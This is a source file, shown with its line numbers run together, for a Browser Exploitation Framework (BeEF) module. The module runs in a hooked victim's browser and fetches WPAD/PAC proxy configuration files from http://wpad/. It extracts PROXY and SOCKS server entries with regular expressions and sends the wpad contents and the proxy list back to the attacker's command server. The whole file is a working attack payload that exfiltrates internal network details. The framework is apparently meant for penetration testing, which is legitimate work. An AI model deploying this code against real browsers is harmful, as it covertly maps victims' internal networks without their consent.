Path: blob/master/modules/network/get_proxy_servers_wpad/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78load_script = function(url) {9beef.debug("[Get Proxy Servers] Loading: " + url);10var s = document.createElement("script");11s.type = 'text/javascript';12s.src = url;13document.body.appendChild(s);14}1516read_wpad = function() {17if (typeof FindProxyForURL === 'function') {18var wpad = FindProxyForURL.toString();19beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)');20beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success());21} else {22beef.debug("[Get Proxy Servers] Error: Did not find wpad");23beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false");24return;25}26var proxies = [];27var proxyRe = /PROXY\s+[a-zA-Z0-9\.\-_]+:[0-9]{1,5}/g;28while (match = proxyRe.exec(wpad)) {29proxies.push(match[0]);30}31var proxyRe = /SOCKS\s+[a-zA-Z0-9\.\-_]+:[0-9]{1,5}/g;32while (match = proxyRe.exec(wpad)) {33proxies.push(match[0]);34}35if (proxies.length == 0) {36beef.debug("[Get Proxy Servers] Found no proxies");37return;38}39beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(','));40beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success());41}4243load_script("http://wpad/wpad.dat");44load_script("http://wpad/wpad.pac");4546load_script("http://wpad/proxy.dat");47load_script("http://wpad/proxy.pac");4849setTimeout("read_wpad()", 10000);5051});52535455